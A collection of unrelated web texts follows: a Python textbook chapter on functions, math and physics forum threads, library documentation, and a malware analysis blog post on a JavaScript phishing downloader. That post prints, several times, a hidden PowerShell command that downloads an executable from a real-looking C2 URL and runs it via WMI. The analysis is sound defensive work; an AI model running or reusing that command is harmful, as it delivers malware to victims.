Now, derailing a bit; I'm not a SV entrepreneurial specialist, so I will take it from the POV of capital markets, mixed with someone who is trying to start his own business out of college: The US tax structure currently supports this kind of venture speculation, just as the early government encouraged agarian wealth (Washington himself was one of the richest men from slave exploitation and land ownership), followed by industrialist wealth (the Rockefellers/Carnegies/Vanderbilts) and corporate wealth (nameless CEOs of the huge banks and conglomerates) starting around Roosevelt's time. We are now at a stage where there's a gold rush in entrepreneurial wealth with relatively low capital gains tax rates. From a trading POV, I don't like this entry point, because now everyone's doing it and it becomes overvalued, then now if the recumbent/new president makes a subtle shift in tax rates, we will see a correction, and I don't want to be caught in a downtrend. So yes, web applications are a popular launching point for a fresh college graduate or dropout like me, but I am not going for it.
So anyway, back to you, I think you're doing great - do figure out how artificial decision-making might benefit the consumers of whatever you're designing, I think this is a worthy venture.
^kenkhoo: If you have finished Ernie's book, the typical follow-through is Johnson's algorithmic trading and DMA book.
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# 4.3. Function Definitions¶
So far, we have only been using the functions that come with Python, but we often need to to add new functions we write ourselves. A function definition specifies the name of a new function and the sequence of statements that execute when the function is called. Once we define a function, we can reuse the function over and over throughout our program. The syntax for calling a new function we define is the same as for any other function (see the function call pattern).
Here is an example of defining a function, followed by calling it twice:
def is a keyword that indicates the start of a function definition. The name of the function here is print_lyrics. The rules for function names are the same as for variable names: letters, numbers and some punctuation marks are legal, but the first character can’t be a number. You can’t use a keyword as the name of a function, and you should avoid having a variable and a function with the same name to avoid confusion.
The empty parentheses after the name indicate that this function doesn’t take any arguments. Later we will build functions that take arguments.
The first line of the function definition has to end with a colon and the body has to be indented. The body can contain any number of statements. Notice that this is the same pattern (a colon followed by an indented body) as we’ve seen in for loops, while loops, and if statements. It’s consistent across the language.
Syntax Pattern
A function definition has the form:
def <function name>(<parameters>):
<body>
When Python interprets this syntax, it creates a new function with the given name that contains the statements (lines of code) in the body.
Parameters are optional. [We will fill in details about parameters farther down.]
Q-1: What is the purpose of the “def” keyword in Python?
• It indicates the start of a function
• It executes a function
• It indicates that the following indented section of code is to be stored for later
• a and b are both true
• a and c are both true
• Correct! "def" indicates the start of a function definition, meaning that the following indented block of code will be stored under the given name.
Defining a function creates a variable with the same name.
The value of print_lyrics is a function object, which has type “function”.
Q-2: The program above never prints out the lyrics, “I’m a lumberjack…” Why not?
• Because it is invalid syntax.
• Because print_lyrics() is not called.
• Correct! When we wrote "print(print_lyrics)", that is printing out what the function is (in a sense). We didn't write "print_lyrics()" with the parentheses that would make it a function *call* that *would* execute the function and print the lyrics.
• Because Python doesn't like the lyrics.
• Because Python got confused by seeing "print" everywhere.
Once you have defined a function, you can use it anywhere, even inside another function. For example, to repeat the previous refrain, we could write a function called repeat_lyrics() and call it:
(But that’s not really how the song goes…)
This program contains two function definitions: print_lyrics and repeat_lyrics. It’s important to recognize that the function definitions get executed just like other statements, but doing so does not execute the functions. To see this, open CodeLens for the above code, and step forward twice. You’ll see that each time Python executes one of the def ... lines, nothing is printed, but a new function is defined on the right. The statements inside the function are stored when the function definition is executed, and they do not get executed until the function is called.
Step forward in the code one more time. Now you’ll see what happens when a function is called. The function call on line 10 jumps into the repeat_lyrics() function, and then the function is executed.
As you might expect, you have to create a function before you can execute it. In other words, the function definition has to be executed before the first time the function is called.
1. What do you think will happen if you move the last line of the program above (that calls repeat_lyrics()) to the top of the program?
Make the change, and run the program again to check.
2. What do you think will happen if you move the definition of print_lyrics after the definition of repeat_lyrics?
Make the change (after undoing the change you made for (1) above), and run the program again to check. Stepping through the code with CodeLens can help understand how it works.
## 4.3.1. Flow of Execution¶
In order to ensure that a function is defined before its first use, you have to know the order in which statements are executed, which is called the flow of execution.
Execution always begins at the first statement of the program. Statements are executed one at a time, in order from top to bottom.
When a function definition is reached, it defines a function, storing its statements, but remember that statements inside the function are not executed until the function is called.
A function call is like a detour in the flow of execution. Instead of going to the next statement, a function call does the following:
1. The flow jumps to the body of the function,
2. The flow proceeds through all the statements there, executing them in order,
3. When the end of the function is reached, the flow jumps back to the line after the original function call to pick up where it left off.
That sounds simple enough, until you remember that one function can call another. While in the middle of one function, the program might have to execute the statements in another function. But while executing that new function, the program might have to execute yet another function!
Fortunately, Python is good at keeping track of where it is, so each time a function completes, the program picks up where it left off in the function that called it. When it gets to the end of the program, it terminates.
What’s the moral of this story? When you read a program, you don’t always want to just read from top to bottom. You need to follow the flow of execution.
CodeLens in this book and the Python Tutor website on which it is based are both very helpful for studying the flow of execution of programs. You can watch where it goes, step-by-step, and both build up and check your understanding as you watch.
Note
If you are working in a Jupyter notebook environment, flow of execution also depends on the order in which you choose to execute cells. When executing a single cell, the flow of execution works within the cell as described above, but you can choose to execute cells in whatever order you want.
If you ever find yourself unsure of which code has executed when or otherwise confused about the state of the values and definitions of variables and functions, it is safest to restart the kernel and re-run the cells in order. Restarting the kernel starts everything again with a “blank slate,” in which nothing has been defined yet, and then you can make sure each cell executes in an order you want and can remember.
Q-3: What will the following Python program print out?
def fred():
print("Zap")
def jane():
print("ABC")
jane()
fred()
jane()
• Zap ABC jane fred jane
• Incorrect. Make sure you're applying the rules for function definitions, function calls, and flow of execution as you think through the code.
• Zap ABC Zap
• Incorrect. Make sure you're applying the rules for function definitions, function calls, and flow of execution as you think through the code.
• ABC Zap jane
• Incorrect. Make sure you're applying the rules for function definitions, function calls, and flow of execution as you think through the code.
• ABC Zap ABC
• Correct!
• Zap Zap Zap
• Incorrect. Make sure you're applying the rules for function definitions, function calls, and flow of execution as you think through the code.
## 4.3.2. Parameters and Arguments¶
Some of the built-in functions we have been using so far require arguments. For example, when you call range(), you have to pass it a number as an argument. When calling len(), you have to give it a string, list, or other sequence as an argument. Some functions take more than one argument: math.pow() in the math module takes two, the base and the exponent.
When a function is called, any arguments given in the function call are assigned to variables in the function body called parameters. Here is an example of a user-defined function that takes an argument:
def print_twice(thing):
print(thing)
print(thing)
This function assigns the argument to a parameter named thing. When the function is called, it prints the value of the parameter (whatever it is) twice.
Run the above code in CodeLens. Watch what happens when you call the print_twice() function with an argument. Each time, the value of the argument is copied into the thing parameter (a variable) inside the print_twice() function. After a call to the function ends, that variable no longer exists. We can fill in some details about parameters in the function definition syntax pattern now:
Syntax Pattern
A function definition has the form:
def <function name>(<parameters>):
<body>
When Python interprets this syntax, it creates a new function with the given name that contains the statements (lines of code) in the body.
Parameters are optional. If one or more parameters are specified, as variable names separated by commas, then they behave as follows:
1. Each time the function is called, it must be called with one argument for each of the parameters in the function definition.
2. Each parameter is a variable that exists only inside the function body.
3. The value of each argument will be assigned to a parameter, matching each argument to a parameter by the order in which they are written.
4. When the function ends, the parameter variables are deleted. (They no longer exist and cannot be used outside of the function.)
The same rules of composition that apply to built-in functions also apply to user-defined functions, so we can use any kind of expression as an argument for print_twice. Again, for the code below, use CodeLens to watch what happens each time the function is called and what value is assigned to its parameter:
Every function argument is evaluated before the function is called, and its value is passed in to be assigned to the parameter.
A common source of confusion for beginner programmers is the use of variables as function arguments. The line above that calls print_twice(sentence) is an example of this. You might think that this will just make the sentence variable available inside the function, so you could use it like this:
The error this code produces shows that the sentence variable does not exist within the function, even if we use that variable as an argument when calling the function. The key detail of function definitions that explains this is the rule that says “The value of each argument will be assigned to a parameter…”
In other words, the name of the variable we pass as an argument (sentence) has nothing to do with the name of the parameter (thing). It doesn’t matter what the value was called back home (in the caller); here in print_twice, we call it thing.
## 4.3.3. Fruitful Functions and Void Functions¶
Some of the functions we are using, such as len() or int(), yield results; for lack of a better name, they are sometimes called fruitful functions. Other functions, like print_twice(), perform an action but don’t return a value. They are called void functions.
To return a result from a function, making it a fruitful function, we use the return statement in our function. For example, we could make a very simple function called add_two() that adds two numbers together and returns a result.
When this script executes, the print() statement will print out 8 because the add_two() function was called with 3 and 5 as arguments. Within the function, the parameters a and b were 3 and 5 respectively. The function computed the sum of the two numbers and placed it in the local function variable named added. Then it used the return statement to send the computed value back to the calling code as the function result, which was assigned to the variable x and printed out.
It is worth using CodeLens again to watch that happen and see how each line works.
When you call a fruitful function, you almost always want to do something with the result it produces; for example, you might assign the result to a variable as in the example above or use it as part of an expression:
golden = (math.sqrt(5) + 1) / 2
If you call a fruitful function and do not store the result of the function in a variable, the return value vanishes!
The function call does compute the sum of 3 and 5, but since it doesn’t store the result in a variable or do anything else, it is not very useful. (We saw another example of code executing but not accomplishing anything – because its result wasn’t saved or used anywhere – in code back in Chapter 2.)
Caution
A very common mistake beginner programmers make is to assume that a return statement with a variable makes that variable exist outside of the function. They often write code like this:
Refer back to the function call pattern for the exact details of what happens when a function is called. The function call itself is evaluated to become the returned value – and remember that a value is not the same thing as a variable.
In the return statement, the value of the added variable is returned, not the variable itself. So the function call here becomes the value 8, as if we had just written 8 on that line by itself.
This reinforces what we said above: when you call a fruitful function, you almost always want to assign its return value to a variable or otherwise use the function call in an expression. Calling a fruitful function on a line by itself effectively throws away its return value.
## 4.3.4. Why Define Functions?¶
It may not be clear why it is worth the trouble to divide a program into functions. There are several reasons:
• Testing and Debugging: Dividing a long program into functions can help you to test and debug the parts individually, one at a time and then assemble them into a working whole.
• Code Reuse (within a program): Functions can make a program smaller by eliminating repetitive code. (A common refrain in programming is “DRY: Don’t Repeat Yourself.”)
• Code Maintenance: If you have to update, fix, or change code that is defined in a function, you only have to make changes in one place, and those changes will take effect everywhere the function is called.
• Code Reuse (across programs): Well-designed functions are often useful for many programs. Once you write and debug a function, you can reuse it in other programs.
• Overall: Creating a new function gives you an opportunity to name a potentially very complex group of statements and then refer to them by that simple name anywhere they need to be used. This makes your program easier to read, understand, and debug.
The final point embodies a critical concept in programming and computer science called abstraction. Abstraction, in this context, is the practice of hiding or ignoring details in order to manage complexity.
For an example outside of computer science, consider cars. Cars are complex machines, with an incredible number of interacting parts and systems involved in their operation. Even a trained automotive engineer can’t consider all of those pieces and their interactions simultaneously, and most of us have very little of the knowledge we’d need to even try.
And yet we use a car, driving it successfully from place to place without knowing or understanding any of that detail. We have a simplified “interface” to control the car: a steering wheel, a gear shift, and some pedals. All we need to understand is how those parts direct the functioning of the car at a high level. That interface is an abstraction of the total complexity of the car and its functioning, and all of that complexity has been hidden behind the abstraction. The abstraction allows us to ignore the complexity while still using it successfully.
Programs can be incredibly complex as well, containing far more detail than we can hope to capture in our heads at once. Even the steps required to successfully print a simple greeting like "Hello, World!" on the screen are more than we’d want to deal with. And so the print() function exists as an abstraction of that complexity. The complexity is hidden, we can ignore it, and we are able to easily use it via the simple “interface” of the print() function call.
So in general, you can create function definitions to accomplish the same thing. You can take some code you have written, put it in a function, and later just refer to that function by its name without worrying about exactly how it works internally. This basic idea brings us all of the benefits listed above: clearer organization, easy code reuse, improved testing and debugging, and simpler maintenance.
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# 2D Probability Density Map with tikz
I want to draw a 2D probability density map diagrammatic sketch using tikz.
However, I can not find similar example online. Is it possible to draw similar figures using tikz? Thanks!
You can use the pgfplots package to easily produce such plots in tikz:
\documentclass{book}
\usepackage{pgfplots}
\begin{document}
\begin{tikzpicture}
\begin{axis}[view={0}{90}]
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MathOverflow will be down for maintenance for approximately 3 hours, starting Monday evening (06/24/2013) at approximately 9:00 PM Eastern time (UTC-4).
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# External forces and external moments
## Homework Statement
While reading course lecture at ocw.mit i have stumpled upon such an equation
$$\dot H_O = \sum_{i=1}^n (\dot r_i \times m_i v_i) + \sum_{i=1}^n (r_i \times m_i \dot v_i) = 0 + \sum_{i=1}^n (r_i \times (F_i + \sum_{j=1, j\ne i}f_{ij} )) = \sum_{i=1}^n (r_i \times Fi) + \sum_{i=1}^n M_i$$
I don't understand from where term with ##M_i## came.
## Homework Equations
$$$$r_i \times f_{ij} + r_j \times f_{ji} = (r_i − r_j ) \times f_{ij} = 0$$$$
## The Attempt at a Solution
Because of equation (1) ##\sum_{i=1}^n r_i \times \sum_{j=1, j\ne i} f_{ij} = 0##, so the term ##\sum_{i=1}^n M_i## came from nowhere.
And later they write: "Note that external forces in general produce unequal moments about O and G while applied external moments (torques) produce the same moment about O and G."
So what are these external moments and where they came from, and why they don't change?
EDIT: Oh, i see, probably it is all about force couples. They provide us with pure moment. Ok:) Though, would be nice to have somebody to confirm my guess.
Last edited:
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# Non-wellorderable ultrafilters with wellorderable bases
There are some models in which $2^\omega$ is not wellorderable but there is a free ultrafilter over $\omega$. What about the consistency of: $2^\omega$ is not wellorderable + AC for countable sets of reals + there is a free ultrafilter over $\omega$ with a wellorderable base? There is one such model $N$. Namely let $M$ be the $\omega_2$-long or $\omega_1$-long countable-support iterated Sacks extension of $L$, and let $N$ consist of all sets hereditarily definable in $M$ from an $\omega$-sequence of ordinals. But this is a rather peculiar model. I wonder is there anything essentially simpler and possibly better known.
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<meta http-equiv="refresh" content="1; url=/nojavascript/">
# Measurement of Probability
%
Progress
Practice Measurement of Probability
Progress
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A Bolt of Light
Credit: poorboy1225
Source: http://www.flickr.com/photos/20144155@N00/5683294429/
Any time that you calculate the chances of something happening or not happening, you are calculating a probability. Probabilities measure the likelihood of an event. Have you ever wondered what your chances are of being struck by lightning?
#### News Flash
According to National Geographic News, lightning is one of the leading weather-related causes of death and injury in the United States. When people don't heed the warnings of a storm, they take chances with being "struck." But what are those chances? The likelihood of a person becoming a victim of lightning in any given year is 1 in 700,000, which can be expressed as $\frac{1}{700,000}$ or 0.00014%. That is a very small probability!
Credit: Nathan Vaughn
Source: http://www.flickr.com/photos/46799485@N00/5802508421/
What are the chances of being struck by lightning in your lifetime? The probability of this happening is 1 in 3,000 or about 0.03%. You have a 0.03% chance of being struck by lightning in your lifetime. The probability is quite small, but it does exist. Be safe and mind Mother Nature!
#### Explore More
Check out the following interactive activity for more practice with probability.
1. [1]^ Credit: poorboy1225; Source: http://www.flickr.com/photos/20144155@N00/5683294429/; License: CC BY-NC 3.0
2. [2]^ Credit: Nathan Vaughn; Source: http://www.flickr.com/photos/46799485@N00/5802508421/; License: CC BY-NC 3.0
### Explore More
Sign in to explore more, including practice questions and solutions for Measurement of Probability.
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## Relativistic Binaries in Globular Clusters
Language:
Author: Matthew J. Benacquista, Jonathan M. B. Downing
Format: Ps, Pdf
Year: 2011
Category: Astrophysics of stars
Pages: 88
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Galactic globular clusters are old, dense star systems typically containing 10\super{4}--10\super{7} stars. As an old population of stars, globular clusters contain many collapsed and degenerate objects. As a dense population of stars, globular clusters are the scene of many interesting close dynamical interactions between stars. These dynamical interactions can alter the evolution of individual stars and can produce tight binary systems containing one or two compact objects. In this review, we discuss theoretical models of globular cluster evolution and binary evolution, techniques for simulating this evolution that leads to relativistic binaries, and current and possible future observational evidence for this population. Our discussion of globular cluster evolution will focus on the processes that boost the production of hard binary systems and the subsequent interaction of these binaries that can alter the properties of both bodies and can lead to exotic objects. Direct {\it N}-body integrations and Fokker--Planck simulations of the evolution of globular clusters that incorporate tidal interactions and lead to predictions of relativistic binary populations are also discussed. We discuss the current observational evidence for cataclysmic variables, millisecond pulsars, and low-mass X-ray binaries as well as possible future detection of relativistic binaries with gravitational radiation.
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Struttura ed evoluzione delle stelle The Life of a Star The Fundamentals of Stellar Astrophysics The Virial Theorem in Stellar Astrophysics Fondamenti di Astrofisica Stellare Stellar Atmospheres The magnetic fields of forming solar-like stars Massive Stars and their Supernovae The solar magnetic field Advances in Global and Local Helioseismology: an Introductory Review Magnetic fields in massive stars, their winds, and their nebulae The physics of neutron stars Recent Advances in Understanding Particle Acceleration Processes in Solar Flares The First Stars Stellar Superfluids Neutrinos and the stars
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# NAG CL Interfacee04wlc (nlp2_option_double_get)
Settings help
CL Name Style:
## 1Purpose
e04wlc is used to get the value of a double optional parameter. e04wlc can be used before or after calling e04wdc.
## 2Specification
#include
void e04wlc (const char *string, double *rvalue, Nag_E04State *state, NagError *fail)
The function may be called by the names: e04wlc, nag_opt_nlp2_option_double_get or nag_opt_nlp_option_get_double.
## 3Description
e04wlc obtains the current value of a double option. For example
`e04wlc ("LU Factor Tolerance", &factol, &state, &fail);`
will result in the value of the optional parameter ${\mathbf{LU Factor Tolerance}}$ being output in factol.
A complete list of optional parameters, their abbreviations, synonyms and default values is given in Section 12 in e04wdc.
None.
## 5Arguments
1: $\mathbf{string}$const char * Input
On entry: a single valid keyword of a double optional parameter (as described in Section 12 in e04wdc).
2: $\mathbf{rvalue}$double * Output
On exit: the double value associated with the keyword in string.
3: $\mathbf{state}$Nag_E04State * Communication Structure
state contains internal information required for functions in this suite. It must not be modified in any way.
4: $\mathbf{fail}$NagError * Input/Output
The NAG error argument (see Section 7 in the Introduction to the NAG Library CL Interface).
## 6Error Indicators and Warnings
NE_ALLOC_FAIL
Dynamic memory allocation failed.
See Section 3.1.2 in the Introduction to the NAG Library CL Interface for further information.
On entry, argument $⟨\mathit{\text{value}}⟩$ had an illegal value.
NE_E04_OPTION_INVALID
The supplied option string is invalid. Check that the keywords are neither ambiguous nor misspelt. The option string is ‘$⟨\mathit{\text{value}}⟩$’.
NE_E04WCC_NOT_INIT
The initialization function e04wcc has not been called.
NE_INTERNAL_ERROR
An internal error has occurred in this function. Check the function call and any array sizes. If the call is correct then please contact NAG for assistance.
See Section 7.5 in the Introduction to the NAG Library CL Interface for further information.
NE_NO_LICENCE
Your licence key may have expired or may not have been installed correctly.
See Section 8 in the Introduction to the NAG Library CL Interface for further information.
Not applicable.
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# Phase of curcuit
1. Dec 4, 2013
### scorpius1782
1. The problem statement, all variables and given/known data
I have an AC RLC circuit with the inductor in series with parallel capacitor and resistor.
At what w is the emf in phase with the current?
2. Relevant equations
3. The attempt at a solution
I'm suppose to know this from a previous class but as a transfer student my classes never dealt with phase or RLC circuits. Any help would be phenomenal.
The question is specifically asking if $w=\frac{1}{\sqrt{LC}}$
2. Dec 4, 2013
### sandy.bridge
What exactly within an electrical system causes the phase of the current to differ from the phase of the voltage?
3. Dec 4, 2013
### scorpius1782
The inductor resists changes in current so voltage changes happen more quickly and vice versa at the capacitor. (I just discovered ELI the ICE man). So, would this mean that the peak would happen every 90 degrees? How would I relate the angle to w?
4. Dec 4, 2013
### sandy.bridge
The phase of the current will differ from the phase of the voltage if there is reactance present within the network. If the voltage and the current are completely in phase with one another, it implies that the load is completely resistive (imaginary portion of the impedance is zero). Do you know how to calculate the impedance of a capacitor and inductor?
5. Dec 4, 2013
### scorpius1782
I see you found my other post! I'll discuss this there.
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# Intervals for Non-Normal Distributions
Posted by Beetle B. on Sun 16 July 2017
The one-sample t-distribution confidence interval is robust for small or even moderate departures from normality, unless $$n$$ is very small. But the prediction and tolerance intervals can be off by quite a lot. Don’t use them for non-normal distributions.
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## Common Factoring
Common factoring involves separating the greatest common factor from each term of a polynomial by “pulling it out”.
We don’t common factor if the GCF is 1 because that would not be changing the expression.
We separate the GCF from the polynomial using division. The GCF is written first, then in brackets, each term of the polynomial is divided by the GCF. It’s the opposite of distributive property.
### When factoring, you should always common factor first!.
We can common factor the GCF of $4x^2$ from the expression $20x^3-8x^2$$$20x^3-8x^2=4x^2\Big(\frac{20x^3}{4x^2}-\frac{8x^2}{4x^2}\Big)=4x^2(5x-2)$$
You can check if you’ve factored correctly by expanding and simplifying: $$4x^2(5x-2)=20x^3-8x^2$$
If the leading coefficient is negative, common factor out a negative coefficient: $$-8x^3y^2+20x^2y^2-16x^2y=-4x^2y(2xy-5y+4)$$
Remember that any polynomial divided by itself is 1! $$35x^3y^2-28xy^2+7xy=7xy(5x^2-4y+1)$$
Even polynomials may be a part of the greatest common factor if they are contained in brackets $$2x(x-3)-5(x-3)=(x-3)(2x-5)$$
### Practice
EXAMPLE 1
Simplify then evaluate: $2^{11} div 2^8$
###### SOLUTION
Using the Law of Division: $$2^{11} div 2^8=2^{11-8}=2^3$$
Evaluating: $2^3=8$
EXAMPLE 2
Simplify: $(m^0)^{10}$
###### SOLUTION
Using the Law of Powers: $$(m^0)^{10}=m^0$$
We should more properly use the Law of Zero Exponents to write: $m^0=1$
EXAMPLE 3
Find the value of $x$ that makes the equation true: $4^x times 4^4=4^7$
###### SOLUTION
Since we are multiplying the two powers, we use the Law of Multiplication: $$x+4=7$$
Therefore: $x=3$
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I spent some time looking at this javascript sample from VT. Based on both the file extention and the fact that I couldn’t get it to run in spidermonkey or internet explorer, it seems likely that this was a .js file sent as a phishing attachment that acts as a downloader to get the next stage from the c2 server. I show how to use Process Hacker, ProcMon, ProcDot, and Windows loggings to observer the PowerShell commands, and thus determine what the mawlare was doing.
# File Info
The file is ASCII text (as expected with a .js extension), and it’s 310 lines.
$file 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5: ASCII text, with very long lines, with CRLF line terminators$ wc -l 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5
310 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5
The file is identified as malicious by a handful of AV products:
# Visual Analysis
The code is comprised largely of functions that are clearly designed to obfuscate what is going on. However, there was one section in the middle that caught my eye:
var v1, v2, v3;
v1 = new ActiveXObject('WScript.Shell');
v2 = v1[ggggggggggggggggggggg_0x1ab0('0x24')]('Templates') + ggggggggggggggggggggg_0x1ab0('0x25');
v3 = v1['CreateShortcut'](v2);
try {
v3['Save'];
} catch (_0x36ffc4) {
AGwXxrQZcLfbNdtkqv = eval(kbxGyPTslAZIBCHpK);
}
It’s not clear why this part is relatively unobfuscated, and so we should consider that it might be a red herring to lead us off the true actions. Still, it’s worth investigating.
# Failed Attempts to Debug
## SpiderMonkey
The first thing I tried was to run the script in spidermonkey:
\$ js -f /usr/share/remnux/objects.js -f 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5:192:0 ReferenceError: ActiveXObject is not defined
I’m sure there is some way to fake an ActiveXObject, but I could not figure one out, so I decided that if I wanted to debug, I should move to IE, where ActiveX is built in.
## Internet Explorer
To get the code to open in IE, I wrapped it in <html><head><script>debugger; and </script></head><body></body></html>, and saved it as test.html.
Then, to debug it, I opened the file in IE. IE will warn us that the page wants to run script, and we’ll not allow that, yet:
Instead, hit F12 to open the debugger. We’ll put a break point at the line that starts v1 =, and then refresh the page, and this time hit “Allow blocked content”.
Unfortunately, I couldn’t get anything interesting to happen. Stepping back, I launched Process Hacker, and tried just loading the page and saying yes at any prompt, and I didn’t get anything interesting to load.
# Dynamic Analysis with wscript
While the file didn’t come with any context as to how the attacker would get it running, I’m now convinced that the user would double click on a .js file, launching wscript. So we’ll do that and see what happens.
## Prep
### Windows Logging
To prepare, I wanted to enable Windows logging so that it would record the activity I was looking for. There were things I ensured were set correctly:
1. Powershell Logging
• Open gpedit, and go to Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell
• Enable “Turn on PowerShell Script Block Logging” and “Turn on PowerShell Transcription”
• Make sure to give the Transcription a folder where you want it to write. I just used C:\powershell - Now we’ll see 4104 logs in the PowerShell Application Logs
2. Log Process Creation
• Still in gpedit, Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policies - Local Group Policy Object -> Detailed Tracking
• Enable Audit Process Creation
• This will create 4688 logs in the Security Log
3. Include Command Lines with Process Creation
• In gpedit, Computer Configuration -> Administrative Templates -> System -> Audit Process Creation
• Enable Include command line in process creation events
### Start Other Tools
In addition to the logging, I started a couple other tools to capture what was going on:
• Process Hacker
• Procmon
## Run
To run the malware, I tried two different things, both of which generated pretty much the same result:
• Double click on it
• In a command terminal, wscript 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5.js
## Results
### Process Hacker
In Process Hacker, the wscript process starts and ends too quickly to be noticed, but we do see a new cmd.exe start and then a child powershell.exe:
Double clicking on that powershell process, we can grab the command line:
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'
I suspect that had the network connection on my analysis vm been up, and the c2 been up, this would have opened and closed too fast to observe in Process Hacker, but since the connection kept trying and timing out, we got extra time to watch. After less than 15 seconds, the cmd and powershell processes die.
### Process Monitor (ProcMon)
To see what really happened, we’ll turn to ProcMon. This tool has a habbit of showing so much information it’s not useful. But if you filter down correctly, you can learn a lot.
The first thing I’ll look at is what processes started and by who. To do that, we’ll unselect all of the event types except for “Show Process and Thread Activity” like this:
Next, we’ll right click on a “Thread Create” event and select “Exclude Thread Create”. We’ll do the same for “Threat Exit” and “Load Image”. We’re left with a nice picture of what happened:
We can also click on the “Process Tree” button to get a graphical image:
### ProcDot
For an even more detailed graph of what happened, we can export the ProcMon data in csv form and load it into ProcDot:
### Windows Logs
Finally, let’s see what we captured in Windows Logs.
#### Security Logs
In the Security logs, we see 4 4688 Process Creation logs:
They are:
1. wscript.exe
• command line: wscript 2bcd28a0723854c7ef229084d278af6e648c06de695018c070688f262f40e0a5.js
• parent process: cmd.exe
• pid: 0x1260
• parent pid: 0x1f0
2. cmd.exe
• command line: "C:\Windows\System32\cmd.exe" /c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','%tEmp%oUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT '%temP%oUE18.Exe'
• parent process: wscript.exe
• pid: 0x1708
• parent pid: 0x1260
3. conhost.exe
• command line: \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1
• parent process: cmd.exe
• pid: 0x1170
• parent pid: 0x1708
4. powershell.exe
• command line: powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'
• parent process: cmd.exe
• pid: 0xac0
• parent pid: 0x1708
#### PowerShell Logs
Similarly, in the PowerShell Application logs, there’s a 4104 that gives the PowerShell commandline: (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\REM\AppData\Local\TempoUE18.EXE'); Invoke-WmIMethoD -ClAsS WiN32_PrOcess -NAmE CrEAte -ArgUmentLisT 'C:\Users\REM\AppData\Local\TempoUE18.Exe'
#### PowerShell Transcripts
And, in the transcript directory (for me, c:\powershell), we have a new file, PowerShell_transcript.DESKTOP-2C3IQHO.z4SNguC5.20180706222825.txt. It contains information about the computer, the user, the powershell versions, and the full command line.
# PowerShell Analysis
Having just discovered the PowerShell command several different ways, let’s take a quick look at what it does. There isn’t any obfuscation here other than some mixed case on the back half.
The script will:
1. Download a file from hxxp://gostat.dhl-tcp.com/page818.php and store it as C:\Users\REM\AppData\Local\TempoUE18.EXE.
2. Use WMI to create a process from that exe path.
# Next Stage exe
At the time of writing, the server is not up, so I was unable to get the exe. As this file was uplosed to VT almost two months ago, that isn’t surprising.
# Summary
This post really focused on several different ways to dynamically track what happened when this javascript file was run. While in this case each tool provided similar information, each will have strengths and weaknesses, and there will be times where one is clearly ahead of the others.
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## anonymous 5 years ago Solve kjackson's problem by double integrals. A rectangular prism planter is filled with potting soil. It has a length of 3 feet and a width of 8inches and a height of 8 inches. How much potting soil can it hold?
1. anonymous
Alright, I prefer doing these with triples, but it was good to think about these again. integral(from 0 36) integral(0 8) (8dA) integral(from 0 36) 8x|(0 to 8) integral(from 0 36) 64dz 64z|(0 36) 2034
2. anonymous
$\int\limits_{0}^{3}\int\limits_{0}^{8}8dxdy$ The outer integral would be the length (or y) and the inner one would be width(or x) and the inside is 8 because the height (z) is 8 it would just simplify to 8 * 3 * 3 (which is the volume equation)
3. anonymous
Except 3 would be 36, otherwise proper. Do you see why I prefer triples though? It seems more logical, but perhaps thats just me. Same thing is being accomplished, just with triples I see where its coming from.
4. anonymous
Great, I was trying to figure out what f(x,y) would be. Now I know.
5. anonymous
Have you gotten to triple integrals yet chag?
6. anonymous
No. Haven't got to triples yet.
7. anonymous
Ok, well they are the same idea. Its just it seems clearer to do volume problem in them: In this problem z = 36, y = 8, x = 8. Just makes more sense to me, but I also like using overkill math techniques to figure out simple stuff like this like you do. I am very fun at parties! $\int\limits_{0}^{z} \int\limits_{0}^{y} \int\limits_{0}^{x} f(x,y,z) dx dy dz$
8. anonymous
Great. You're invited to my next soiree.
9. anonymous
I don't understand why z is 36..... z is just the height of the box, which is 8 the triple integral would just be $\int\limits_{0}^{3}\int\limits_{0}^{8}\int\limits_{0}^{8}1dzdydx$ again, giving you 8 * 8 * 3 = 192
10. anonymous
I think they slipped in 3 ft and 8 inches
11. anonymous
Z is 36 because the 3 is in units feet.
12. anonymous
oops i didn't see that i have people that mix units :x i stand corrected! scot's right
